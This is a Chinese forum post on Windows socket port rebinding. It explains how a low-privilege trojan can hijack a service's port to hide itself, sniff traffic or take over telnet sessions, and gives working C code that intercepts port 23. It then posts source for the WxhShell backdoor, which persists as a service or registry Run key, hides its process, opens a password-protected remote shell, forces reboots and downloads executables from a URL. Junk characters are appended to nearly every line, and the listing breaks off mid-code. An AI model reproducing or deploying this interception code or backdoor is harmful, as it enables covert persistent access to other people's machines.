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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H9)n<r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |\Jnr3)  
,:PMS8pS  
  saddr.sin_family = AF_INET; @ &N  
P6.PjK!Ar  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ldUZ\z(*  
s0dP3tz>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,Tr&`2w  
k!x|oC0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =KHb0d |.  
@CzFzVmF"  
  这意味着什么?意味着可以进行如下的攻击: boEQI=!j\+  
S?b&4\:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pgES)  
O8 .xt|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7 2JwG7qh  
[tk x84M8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f;^ +q-Q  
_ +DL   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FzX ;~CA  
%]}JWXo f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?pZU'5le`  
5zBA]1PY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GP c B(  
 Kg';[G\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l%2VA  
fX`u"`o5  
  #include  bUS:c 2"  
  #include 4Y?2u  
  #include zN!W_2W*  
  #include    V8 8u -  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &zF>5@fM  
  int main() UDr 1t n  
  { vU,7Y|t`  
  WORD wVersionRequested; @/kI;8  
  DWORD ret; z )hK2JD  
  WSADATA wsaData; U\lbh;9G  
  BOOL val; E2r5Pg  
  SOCKADDR_IN saddr; ,WWd%DF)  
  SOCKADDR_IN scaddr; .)[E`a  
  int err; 1rZ E2  
  SOCKET s; KsOSPQDGE  
  SOCKET sc; !6=s{V&r1  
  int caddsize; LRHod1}mS  
  HANDLE mt; +h"i6`g  
  DWORD tid;   "qq$i35x  
  wVersionRequested = MAKEWORD( 2, 2 ); !6-t_S  
  err = WSAStartup( wVersionRequested, &wsaData ); > Hv9Xz  
  if ( err != 0 ) { `3\U9ZH23  
  printf("error!WSAStartup failed!\n"); I%r7L  
  return -1; Y9X,2L7V  
  } zNX=V!$  
  saddr.sin_family = AF_INET; {mD0 ug  
   Db Qp (W0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [Ix6ArY  
f?. VVlD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )8oyo~4?  
  saddr.sin_port = htons(23); .t\J @?Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L;opQ~g  
  { J.XkdGQ  
  printf("error!socket failed!\n"); ks. p)F>]  
  return -1; 2?%*UxcO  
  } .\oW@2,RA9  
  val = TRUE; HE+'fQ!R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U>*@VOgB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >bV3~m$a+  
  { ?<t?G  
  printf("error!setsockopt failed!\n"); dYISjk@  
  return -1; 8i] S[$Fc  
  } t`Bk2Cc)+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; } 9zi5 o8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o=Z:0Ukl]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VQ('ejv}/  
3y.+03 W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k?7"r4Vc)S  
  { =Ya^PAj '}  
  ret=GetLastError(); 3\Xk)a_  
  printf("error!bind failed!\n"); ^Ak?2,xB#+  
  return -1; _qPKdGoM  
  } ]zj#X\  
  listen(s,2); 17'd~-lE  
  while(1) t8RtJ2;  
  { eg*aVb  
  caddsize = sizeof(scaddr); X$;x2mz nM  
  //接受连接请求 ]Y]]X[@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !QVhP+l'H  
  if(sc!=INVALID_SOCKET) ).jQ+XE'>  
  { -%J9!(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vyi.:lL _8  
  if(mt==NULL) w%`S>+kX&  
  { 'yH  
  printf("Thread Creat Failed!\n"); &V+_b$  
  break; vX>{1`e{S  
  } ,$t1LV;o=  
  } ^E/6 vG  
  CloseHandle(mt); OH>Gc-V  
  } 0Md.3kY  
  closesocket(s); 6P@K]jy& n  
  WSACleanup(); cu1!WD  
  return 0; 8zMGpY#  
  }   Q3i\`-kbb  
  DWORD WINAPI ClientThread(LPVOID lpParam) R(0[bMr3Q  
  { 4PD5i  
  SOCKET ss = (SOCKET)lpParam; w|G7h=  
  SOCKET sc; rYt|[Pk  
  unsigned char buf[4096]; _}47U7s8  
  SOCKADDR_IN saddr; k+[oYd  
  long num; J1(SL~e],  
  DWORD val; ~c v|,  
  DWORD ret; Y!]a*==  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }8 ;,2E*z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H5d@TB, `  
  saddr.sin_family = AF_INET; pFd{Tdh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 91R7Rrne  
  saddr.sin_port = htons(23); .7 j#F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z L0Vx6Ph  
  { =g6~2p=H  
  printf("error!socket failed!\n"); 5I[:.o0  
  return -1; 9+*{3 t  
  } Heqr1btK  
  val = 100; gcwJ{&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y/UvNb<lK  
  { vO?sHh  
  ret = GetLastError(); mW)kWuOO  
  return -1; 3BK 8{/  
  } >P(.yQ8&kL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /Cwwz  
  { jHT^I as  
  ret = GetLastError(); _t]Q*i0p  
  return -1; jXmY8||w  
  } r-S%gG}~E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <J~6Q  
  { XjzGtZ#6  
  printf("error!socket connect failed!\n"); g3'dkS!  
  closesocket(sc); F&p42!"  
  closesocket(ss); ?2o+x D2  
  return -1; t^B s3;E^  
  } roriNr/ e  
  while(1) TPx0LDk%(  
  { dL'oIBp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )]w&DNc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B:i$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;L76V$&  
  num = recv(ss,buf,4096,0); i0\]^F  
  if(num>0) rvhMu}.  
  send(sc,buf,num,0); FDF DB  
  else if(num==0) x/]G"?Uix  
  break; 6E ^m*la%  
  num = recv(sc,buf,4096,0); c'?EI EP  
  if(num>0) "<egm^Yq  
  send(ss,buf,num,0); JI-.SR  
  else if(num==0) AWFq5YMSI  
  break; zO9WqP_`iR  
  } c<q33dZ!*  
  closesocket(ss); Tl"r#  
  closesocket(sc); vfT @;`  
  return 0 ; J7WNgl% u  
  } KX\=wFbP)  
ErA*a3  
m_  wvi  
========================================================== r;(^]Soz  
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下边附上一个代码,,WXhSHELL o6x8j z  
&!:mL],  
========================================================== u9q#L.Ij  
wmbG$T%k  
#include "stdafx.h" (@ BB @G  
4Af7x6a;  
#include <stdio.h> DcRoW  
#include <string.h> }`0=\cKqn  
#include <windows.h> 6L~5qbQ  
#include <winsock2.h> b:O_PS5h  
#include <winsvc.h> \qW^AD(it<  
#include <urlmon.h> T|$tQgY^  
5 <KBMCn  
#pragma comment (lib, "Ws2_32.lib") b H5lLcdf  
#pragma comment (lib, "urlmon.lib") B|^=2 >8s  
Wxj(3lg/  
#define MAX_USER   100 // 最大客户端连接数 Wl&6T1A`"  
#define BUF_SOCK   200 // sock buffer jv29,46K  
#define KEY_BUFF   255 // 输入 buffer UY *Z`$  
ze8MFz'm  
#define REBOOT     0   // 重启 Cvt/ot-J?  
#define SHUTDOWN   1   // 关机 F` gK6;zp  
ER!s  
#define DEF_PORT   5000 // 监听端口 jX$U)O  
lUnC+w#[  
#define REG_LEN     16   // 注册表键长度 LChwHkRHJI  
#define SVC_LEN     80   // NT服务名长度 =`MQKh,  
|gk"~D  
// 从dll定义API L Do~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )ARV>(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FgP{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +*qTZIXj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y,4?>:39J  
K.?S,qg  
// wxhshell配置信息 %gqu7}'  
struct WSCFG { A$zC$9{0I  
  int ws_port;         // 监听端口 ?56;<%0  
  char ws_passstr[REG_LEN]; // 口令 s<C66z  
  int ws_autoins;       // 安装标记, 1=yes 0=no p)Ht =~  
  char ws_regname[REG_LEN]; // 注册表键名 Ba%b]vp  
  char ws_svcname[REG_LEN]; // 服务名 `ST;";7!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N4yQ,tG>aa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LmROG-9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C91'dM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R6o07.]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iqd7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  GXTjK!  
sU^K5oo  
}; v~!_DD au  
~ ^~+p  
// default Wxhshell configuration 8f&#WIZ  
struct WSCFG wscfg={DEF_PORT, We"\nOP  
    "xuhuanlingzhe", RBeQT=B8~  
    1, |' kC9H[>  
    "Wxhshell", V8%( h[  
    "Wxhshell", EF6"PH+J@  
            "WxhShell Service", t .XuH#  
    "Wrsky Windows CmdShell Service", :7qJ[k{g  
    "Please Input Your Password: ", 8\`otJY  
  1, #@uF?8u  
  "http://www.wrsky.com/wxhshell.exe", ?+{qmqN  
  "Wxhshell.exe" gEq";B%?  
    }; 6bpO#&T  
7I@@}A  
// 消息定义模块 g.Kyfs4`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !xC IvKW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c=:A/z{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PtKrks|y  
char *msg_ws_ext="\n\rExit."; A$J?-  
char *msg_ws_end="\n\rQuit."; v kW2&  
char *msg_ws_boot="\n\rReboot..."; 2s`~<EF N  
char *msg_ws_poff="\n\rShutdown..."; m&6I@S2  
char *msg_ws_down="\n\rSave to "; BMbZ34^e  
W^9=z~-h  
char *msg_ws_err="\n\rErr!"; MOP#to)k&  
char *msg_ws_ok="\n\rOK!"; Oufdi3h  
G8hDR^ra  
char ExeFile[MAX_PATH]; rEs Gf+4  
int nUser = 0; -hO[^^i9  
HANDLE handles[MAX_USER]; ='.G,aJ9  
int OsIsNt; 0yKPYA*j  
vo'{phtF)M  
SERVICE_STATUS       serviceStatus; ")GrQv a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4d @ (>  
upF^k%<y:  
// 函数声明 v<S?"# ]F=  
int Install(void); sC RmLUD  
int Uninstall(void); cD4H@!=a  
int DownloadFile(char *sURL, SOCKET wsh); McQWZ<  
int Boot(int flag); ulY<4MN  
void HideProc(void); JsQmn<Yt  
int GetOsVer(void); v0~*?m4  
int Wxhshell(SOCKET wsl); JI~@H /j  
void TalkWithClient(void *cs); E1rxuV|9  
int CmdShell(SOCKET sock); .l]w4Hf  
int StartFromService(void); G2_l}q~  
int StartWxhshell(LPSTR lpCmdLine); kF"G {5  
k/#321Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \kksZ4,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xcu:'7'K[  
0VlB7oF  
// 数据结构和表定义 IWAp  
SERVICE_TABLE_ENTRY DispatchTable[] = VTJ,;p_UH  
{ \_zp4Xb2  
{wscfg.ws_svcname, NTServiceMain}, ! ^U!T\qDi  
{NULL, NULL} ]g0\3A  
}; \bWo"Yo  
}^3ICwzm  
// 自我安装 dI9u: -  
int Install(void) dpcFS0  
{ 0RGSv!w  
  char svExeFile[MAX_PATH]; P}C;%KzA  
  HKEY key; !T8h+3 I  
  strcpy(svExeFile,ExeFile); ]^@!ID$c  
yBxWBW*e  
// 如果是win9x系统,修改注册表设为自启动 nQ^ <h.  
if(!OsIsNt) { }Dc?Emb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;AK@Kb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o;Ma)/P  
  RegCloseKey(key); .R>4'#8q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J |TA12s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SXfAw)-n  
  RegCloseKey(key); niP/i  
  return 0; Sg}]5Mn`  
    } aJ}Cq k  
  } FrBJv<  
} /\1MG>#K  
else { V9i[ dF  
VWR6/,N^_  
// 如果是NT以上系统,安装为系统服务 =M+enSu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zkRL'-  
if (schSCManager!=0) `$, \B  
{ Z3]ut #`  
  SC_HANDLE schService = CreateService ")ZsY9-P  
  ( F~_)auH  
  schSCManager, V$XCe  
  wscfg.ws_svcname, 4{oS(Vl!  
  wscfg.ws_svcdisp, ZI'Mr:z4  
  SERVICE_ALL_ACCESS, %?[H=v(b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yhkn(k2  
  SERVICE_AUTO_START, ^l"  
  SERVICE_ERROR_NORMAL, <[mvfw  
  svExeFile, %4rPkPAtrp  
  NULL, 8 m T..23  
  NULL, s9-aPcA  
  NULL, F)g.xQ  
  NULL, 92HxZ*t7km  
  NULL d;10[8:5=  
  ); R@)L@M)u;  
  if (schService!=0) Vr=c06a2  
  { w %sHA  
  CloseServiceHandle(schService); tag~SG`ov  
  CloseServiceHandle(schSCManager); /*8Ms`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r6*~WM|Sq7  
  strcat(svExeFile,wscfg.ws_svcname); e)2s2y@zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %SJ9Jr,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QjlwT2o'  
  RegCloseKey(key); qc-4;m o  
  return 0; g[~"c}  
    } oAgO 3x   
  } f}1R,N_fC  
  CloseServiceHandle(schSCManager); +u:Q+PkM  
} Gf{FFIe(  
} g^EkRBU  
^K K6 d  
return 1; a:(.{z?nM  
} s1eGItx[w  
~~_!&  
// 自我卸载 DxLN{g]B  
int Uninstall(void) [j :]YR  
{ ?u9JRXj%  
  HKEY key; >=_Z\ wA  
P|Ojt I  
if(!OsIsNt) { ,^UNQO*{GI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mzl %h[9iI  
  RegDeleteValue(key,wscfg.ws_regname); SH/KC  
  RegCloseKey(key); 8[|RsM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )./%/ _*K  
  RegDeleteValue(key,wscfg.ws_regname); i2EXE0;  
  RegCloseKey(key); xN +j]L C  
  return 0; dm&vLQVS  
  } 7]~65@%R-&  
} .WR+)^&zz  
} 5)MVkJ=R  
else { *y;(c)_w/%  
3d2|vQx,K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IwHYuOED]  
if (schSCManager!=0) Gn*vVZ@`x  
{ y0R5YCq\":  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8Jd\2T7h  
  if (schService!=0) tC=`J%Ik  
  { D:gskK+o6M  
  if(DeleteService(schService)!=0) { , LP |M:  
  CloseServiceHandle(schService); *$ihNX]YG  
  CloseServiceHandle(schSCManager); %y/8i%@6  
  return 0; #*[G,s#t^  
  } :Q\{LBc  
  CloseServiceHandle(schService); rN'')n/F  
  } _O-ZII~  
  CloseServiceHandle(schSCManager); uV:;q>XM'%  
} xYJ|G=h&A  
} os]P6TFFX?  
o1"MW>B,4  
return 1; ;MqH)M  
} ly<1]jK  
.I@jt?6X  
// 从指定url下载文件 5 ap~;t  
int DownloadFile(char *sURL, SOCKET wsh) h] (BTb#-  
{ (P-Bmu!s  
  HRESULT hr; {:VUu?5-t;  
char seps[]= "/"; szY=N7\S*  
char *token; k{op,n#  
char *file; "YUyM5X  
char myURL[MAX_PATH]; 3@r_t|j  
char myFILE[MAX_PATH]; ]8|cV GMa  
eUyQSI4A  
strcpy(myURL,sURL); \k{UqU+s  
  token=strtok(myURL,seps); e>Vr#a4  
  while(token!=NULL) 6O^'J~wiI  
  { t$sL6|Ww}o  
    file=token; S?W!bkfn  
  token=strtok(NULL,seps); G &'eP  
  } Xi]WDH \  
i>n.r_!E  
GetCurrentDirectory(MAX_PATH,myFILE); s^X(G!V{c  
strcat(myFILE, "\\"); btC 0w^5  
strcat(myFILE, file); f((pRP   
  send(wsh,myFILE,strlen(myFILE),0); \(PC#H%  
send(wsh,"...",3,0); = dyApR:'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tp='PG.6  
  if(hr==S_OK) +`_I !  
return 0; f&w8o5=|I  
else qYHAXc}$  
return 1; ^rI<}cfR  
.:KZ8'g3}  
} I<q=lK  
Hz}6XS@  
// 系统电源模块 AHq;6cG  
int Boot(int flag) .!ThqYo  
{ { jnQoxN  
  HANDLE hToken; *^XfEO  
  TOKEN_PRIVILEGES tkp; "x. |'  
LLn,pI2fL{  
  if(OsIsNt) { fX,L;Se"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6B)3SC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }E5oa\ 1u  
    tkp.PrivilegeCount = 1; 2 0Xqs,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h*_h M1*;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "5]Fl8c?  
if(flag==REBOOT) { _`>F>aP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D}SYv})Ti  
  return 0; &C eG4_Mi  
} 7q&//*%yF  
else { 9]AiaV9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) biCX: m+_?  
  return 0; 3Zm'09A-.  
} _c=[P@  
  } h&3*O[`  
  else { Ex'6 WN~kD  
if(flag==REBOOT) { %[:\ZwT,-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M <oy  
  return 0; ({#9gTP2b  
} i<N[sO  
else { _~aFzM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I$K?,   
  return 0; &TqY\l  
} 93="sS  
} &UhI1mi]h  
@J~n$^ke  
return 1; _pSCv:3T  
} =&QC&CqEi  
~Qzb<^9]  
// win9x进程隐藏模块 W+[XNIg5   
void HideProc(void) Ca[H<nyj  
{ O2|[g8(_F  
tZS-e6*S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); huTa Ei  
  if ( hKernel != NULL ) j)K[A%(  
  { `I(#.*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SF.4["$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s)#8>s-  
    FreeLibrary(hKernel); {{b&l!  
  } RbUhLcG5  
0n25{N  
return; 0f.rjd  
} u~#QvA~]  
Y$0Y_fm%  
// 获取操作系统版本 yUb$EMo \  
int GetOsVer(void) 'j84-U{&)  
{ H6ff b)&  
  OSVERSIONINFO winfo; U$[C>~r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v:*t5M >  
  GetVersionEx(&winfo); q2* G86  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^qL2Q*  
  return 1; }]1=?:tX%  
  else 2Y~6~*8*~  
  return 0; 3V]B|^S  
} kG:,Ff>  
V`OeJVe  
// 客户端句柄模块 ]I9Hbw  
int Wxhshell(SOCKET wsl) a+$WlG/x  
{ / ,3,l^kZ  
  SOCKET wsh; rixP[`!]x  
  struct sockaddr_in client; dmHpF\P5f  
  DWORD myID; |oq27*ix~m  
M)Iu'  
  while(nUser<MAX_USER) aRBTuLa)fo  
{ }`g:) g J  
  int nSize=sizeof(client); ?{s!.U[T@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7 jq?zS|  
  if(wsh==INVALID_SOCKET) return 1; 5Xn+cw*  
'p=5hsG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "mbcZ5 _  
if(handles[nUser]==0) i>!7/o  
  closesocket(wsh); Vv=/{31  
else i"=6n>\  
  nUser++; 1O bxQ_x  
  } Sa!r ,l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z?$F2+f&  
K~"J<798{  
  return 0; ncg5%(2  
} (Dr g  
e)dPv:oK3  
// 关闭 socket l4+!H\2  
void CloseIt(SOCKET wsh) +Hz});ix<  
{ Mq-QWx"P  
closesocket(wsh); 8d9&LPv  
nUser--; )ndcBwQc"  
ExitThread(0); ,}15Cse  
} L8K= Q  
5y7rY!]Bf  
// 客户端请求句柄 4`F(RweGx  
void TalkWithClient(void *cs) >$=-0?.  
{ ?Xm!;sS0  
8H4"mxO  
  SOCKET wsh=(SOCKET)cs; ,1'9l)zP  
  char pwd[SVC_LEN]; }Z T{  
  char cmd[KEY_BUFF]; $:M*$r^u  
char chr[1]; Jy)E!{#x  
int i,j; wD|,G!8E2  
#L}Y Z  
  while (nUser < MAX_USER) { t0_o .S  
7a_pO1MBL  
if(wscfg.ws_passstr) { a.+2h%b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +]|aACt]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ugexkdgM  
  //ZeroMemory(pwd,KEY_BUFF); DA)+)PhY7K  
      i=0; .'o<.\R8  
  while(i<SVC_LEN) { "dfq  
pKDP1S# <  
  // 设置超时 m(QGP\Ya  
  fd_set FdRead; CW*Kd t  
  struct timeval TimeOut; NpV# zzE  
  FD_ZERO(&FdRead); yidUtSv=,  
  FD_SET(wsh,&FdRead); E"!I[  
  TimeOut.tv_sec=8; 9{{QdN8  
  TimeOut.tv_usec=0; 2N_8ahc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VXt8y)?a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;xFx%^M}br  
n>]`8+a~%X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C"bG?Mb  
  pwd=chr[0]; )%rGD =2~  
  if(chr[0]==0xd || chr[0]==0xa) { X|+o4R?  
  pwd=0; n< UuVu  
  break; ,KvF:xqA  
  } Uc,D&Og  
  i++; $qkV u  
    } s%h|>l[lKT  
R?"sM<3`e  
  // 如果是非法用户,关闭 socket P7GuFn/p~2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tpe:]T/xh  
} *,$cW ,LN  
9(?9yFbj5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eliT<sw8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |J: n'}  
*Ag</g@ h  
while(1) { 40TS=evG  
KL:x!GsV5e  
  ZeroMemory(cmd,KEY_BUFF); \7W>3  
<a/TDW  
      // 自动支持客户端 telnet标准   yOKpi&! r  
  j=0; ? b;_T,S[  
  while(j<KEY_BUFF) { H/8H`9S$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <CrNDY  
  cmd[j]=chr[0]; ACQc 0:q  
  if(chr[0]==0xa || chr[0]==0xd) { 8S2sNpLi-g  
  cmd[j]=0; *`~ woF  
  break; '6l4MR$j&m  
  } R=uzm=&nR  
  j++; $4K( AEt[  
    } /Q h  
C9^[A4O@X!  
  // 下载文件 b~;gj^  
  if(strstr(cmd,"http://")) { [RtTi<F^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h2kb a6rwk  
  if(DownloadFile(cmd,wsh)) E6"+\-e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h LYy  
  else i}cqV B?r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]dzBm!u  
  } r{y&}gA  
  else { qYD$_a  
ks92-%;:  
    switch(cmd[0]) { up+W[#+  
  v+a$Xh3Y~  
  // 帮助 yV=Ku  
  case '?': { p=F!)TnJN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BJGL &N  
    break; W\mj?R   
  } N ]KS\  
  // 安装 +O`3eP`u  
  case 'i': { Ore>j+  
    if(Install()) +ZH-'l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*d Pw.  
    else %UIR GI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r)Q/YzXx*  
    break; ~)5NX 4Po  
    } 8<BYAHY^  
  // 卸载 2tz%A~}4  
  case 'r': { >< <(6  
    if(Uninstall()) >*DR>U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &PY~m<F  
    else 0$RZ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }xZR`xP(  
    break; +NML>g#F~z  
    } e/+_tC$@p@  
  // 显示 wxhshell 所在路径 3khsGD@  
  case 'p': { l&rS\TCkp  
    char svExeFile[MAX_PATH]; ITcgp K6k  
    strcpy(svExeFile,"\n\r"); t8vR9]n  
      strcat(svExeFile,ExeFile); L=`QF'Im  
        send(wsh,svExeFile,strlen(svExeFile),0); *nb `DR  
    break; <2b&AF{En  
    } r6 k/QZT  
  // 重启 O &DkB*-  
  case 'b': { iBCZx>![;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gn*cphb  
    if(Boot(REBOOT)) ]=X6* E*/E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s98Jh(~  
    else { ;#'YO1`gf3  
    closesocket(wsh); ,1xX`:  
    ExitThread(0); #cHH<09 rl  
    } 9o)sSaTx=  
    break; UoD S)(i  
    } Q7<%_a  
  // 关机 ;E,^bt<U  
  case 'd': { G$#Q:]N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'G] P09`*)  
